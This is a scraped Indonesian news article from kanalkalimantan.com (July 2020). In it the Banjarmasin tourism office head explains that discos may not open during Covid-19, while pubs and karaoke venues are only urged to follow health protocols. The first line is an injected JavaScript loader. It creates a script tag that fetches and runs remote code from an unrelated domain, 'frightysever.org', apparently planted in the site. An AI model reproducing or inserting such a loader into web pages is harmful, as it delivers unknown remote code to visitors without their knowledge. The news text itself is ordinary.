(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diskotik Tak Boleh Buka Pub dan Karaoke Yes, Ini Penjelasan Kadisbudpar Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kendati masih masa pandemi Covid-19, beberapa tempat hiburan malam (THM) di kota Banjarmasin membuka operasional. Ini terbukti dengan razia aparat Satpol PP Kota Banjarmasin mendapati ada pengunjung THM yang tidak mematuhi protokol kesehatan.

Lantas, apakah diperbolehkan THM beroperasi kendati kasus Covid-19 di Kota Banjarmasin belum menunjukkan adanya penurunan? Ditemui di kantor, Rabu (15/7/2020) pagi, Kepala Dinas Kebudayaan dan Pariwisata (Disbudpar) Kota Banjarmasin Ekhsan Al Haque mengatakan, dari perspektif jajarannya, sejauh ini masih sebatas mengimbau pengelola THM untuk tidak beroperasi terlebih dahulu.

Baca juga: Pub Disulap Diskotik? Pengelola Ngaku Mainkan Musik Progresif

“Kita mengimbau kepada pelaku usaha (THM), kalau bisa untuk tidak buka dulu. Kalaupun (harus) buka, maka harus menerapkan protokol kesehatan,” kata Ekhsan.

Ia menambahkan, beberapa waktu lalu pihaknya memanggil sejumlah pengelola THM. Di mana, Disbudpar Kota Banjarmasin mengimbau kepada pengelola THM untuk tidak mengoperasikan THM terlebih dahulu.

 

“Surat edaran kita itu belum pernah dicabut, ya. Artinya, (hanya) bersifat imbauan. Berbeda ketika saat PSBB (pembatasan sosial berskala besar) kemarin memang sudah diwajibkan untuk tidak buka,” kata Ekhsan.

THM yang tidak boleh beroperasi pun, saat ini baru sebatas diskotik. Sedangkan untuk pub maupun karaoke tidak diatur dalam kesepakatan dengan pengelola THM beberapa waktu lalu.

Kadisbudpar Kota Banjarmasin Ekhsan Al Haque. foto: fikri

Kendati begitu, Ekhsan menyebutkan bahwa pengelola THM diharuskan untuk menaati protokol kesehatan. Seperti menyediakan tempat cuci tangan, menjaga jarak antar pengunjung THM dan menyemprotkan disinfektan di dalam ruang THM.

Di samping itu, Ekhsan menambahkan bahwa apa yang dilakukan oleh Satpol PP Kota Banjarmasin dengan melakukan razia di dua THM berbeda di Kota Banjarmasin, hanya untuk melihat seberapa jauh penerapan protokol kesehatan.

“Kalau masih ada celah-celahnya, kita minta kepada para pengelola untuk lebih selektif. Artinya, kalau dulu berkerumun maka sekarang harus jaga jarak,” lugas Ekhsan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.